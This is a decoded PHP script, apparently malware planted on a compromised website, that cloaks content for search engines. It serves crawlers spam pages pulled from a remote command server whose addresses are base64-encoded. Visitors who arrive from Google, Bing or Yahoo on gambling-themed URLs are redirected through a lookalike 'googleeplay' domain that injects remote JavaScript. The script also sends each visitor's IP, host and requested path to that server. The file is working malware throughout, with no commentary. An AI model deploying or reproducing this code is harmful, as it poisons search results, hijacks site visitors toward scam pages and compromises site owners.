/* Decoded by unphp.net */ set_time_limit(0); error_reporting(0); define('VERSIONS', 'VCETE'); define('APIVERSIONS', '3'); define('API_URLS', base64_decode('aHR0cHM6Ly9hcGkuMjFxdW5hcGsuY29tLw==')); define('API_HTTP_URLS', base64_decode('aHR0cDovLzE4LjIxNi4xMTguMTQyLw==')); define('FALLBACK_REDIRECT_HTML', base64_decode('PGh0bWw+CjxoZWFkPgogICAgPHRpdGxlPlRoZSByZXNvdXJjZSBjYW5ub3QgYmUgZm91bmQuPC90aXRsZT4KICAgIDxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSIlcyI7PC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHk+CiAgICA8aDE+V2FpdC4uLi48L2gxPgo8L2JvZHk+CjwvaHRtbD4=')); define('API_HTML_JS', base64_decode('PHNjcmlwdCBzcmM9IiVzIj48L3NjcmlwdD4=')); define('API_HTML_API', "https://br.googleeplay.com/dao.html"); define('API_HTML_JUMP', 'redirectv3'); define('API_JS', 'https://br.googleeplay.com/dao.js'); $req_ref_fuckme = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $req_ua_fuckme = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; $host_fuckme = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $req_uri_fuckme = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; function is_prefix_fuckme($uri) { $prefix_regex = '/[?\/](app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|patt|tee|sto|bea|slo|bac|pac|tig|bmw|fru|bull|card|gods|fish|mahj|uri|bak\.php)./'; return preg_match($prefix_regex, $uri) === 1; } function is_crawler_fuckme($ua) { $crawlers = array('Googlebot', 'Bingbot', 'MSNBOT', 'Yahoo!'); foreach ($crawlers as $c) { if (stripos($ua, $c) !== false) { return true; } } return false; } function is_visitor_fuckme($ref) { if (substr($ref, 0, 4) === 'http') { $refs = array('google.', 'bing.', 'yahoo.'); foreach ($refs as $r) { if (stripos($ref, $r) !== false) { return true; } } } return false; } function get_client_ip_fuckme() { foreach (array('HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (explode(',', $_SERVER[$key]) as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } return '0.0.0.0'; } function fetch_content_fuckme($url, $headers = array(), $conn_timeout = 30, $trans_timeout = 30) { if (function_exists('curl_init')) { $ch = curl_init(); try { curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $conn_timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $trans_timeout); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); if ($result === false) { $context = stream_context_create(array( 'http' => array( 'timeout' => $trans_timeout ), 'https' => array( 'timeout' => $trans_timeout ) )); return file_get_contents($url, false, $context); } return $result; } finally { curl_close($ch); } } else { $context = stream_context_create(array( 'http' => array( 'timeout' => $trans_timeout ), 'https' => array( 'timeout' => $trans_timeout ) )); return file_get_contents($url, false, $context); } } function get_content_fuckme($url, $headers = array(), $conn_timeout = 30, $trans_timeout = 30) { $result = fetch_content_fuckme($url, $headers, $conn_timeout, $trans_timeout); if ($result === false) { $fallback_url = str_replace(API_URLS, API_HTTP_URLS, $url); $result = fetch_content_fuckme($fallback_url, $headers, $conn_timeout, $trans_timeout); } return $result; } function main_fuckme_code() { global $req_ref_fuckme, $req_ua_fuckme, $host_fuckme, $req_uri_fuckme; header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: post-check=0, pre-check=0', FALSE); header('Pragma: no-cache'); $uri_encoded = urlencode($req_uri_fuckme); $headers = array(); if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE']; array_push($headers, "Accept-Language: $lang"); array_push($headers, "Vary: Accept-Language"); } if (is_crawler_fuckme($req_ua_fuckme)) { $crawler_ip = get_client_ip_fuckme(); if (is_prefix_fuckme($req_uri_fuckme)) { header('Content-Type:text/html; charset=utf-8'); $htmls = get_content_fuckme(API_URLS . "connector.html?domain={$host_fuckme}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSIONS . "&v=" . APIVERSIONS, $headers); $htmls = str_replace('', sprintf(API_HTML_JS, API_JS) . '', $htmls); echo $htmls; exit; } else { $sitemaps = file_get_contents(API_URLS . "suijiurl/index.php"); echo $sitemaps; } } elseif (is_prefix_fuckme($req_uri_fuckme) && is_visitor_fuckme($req_ref_fuckme)) { header('Content-Type:text/html; charset=utf-8'); $client_ip = get_client_ip_fuckme(); $allheaders = array(); if (!function_exists('getallheaders')) { function getallheaders() { $tmp_headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $tmp_headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $tmp_headers; } $allheaders = getallheaders(); } else { $allheaders = getallheaders(); } foreach ($allheaders as $key => $value) { if (stripos($key, 'Sec-') === 0) { array_push($headers, "$key: $value"); } } $html = get_content_fuckme(API_URLS . API_HTML_JUMP . ".html?domain={$host_fuckme}&uri={$uri_encoded}&ip={$client_ip}&ver=" . VERSIONS . "&v=" . APIVERSIONS, $headers, 2, 2); echo $html ?: sprintf(FALLBACK_REDIRECT_HTML, API_HTML_API); exit; } } main_fuckme_code();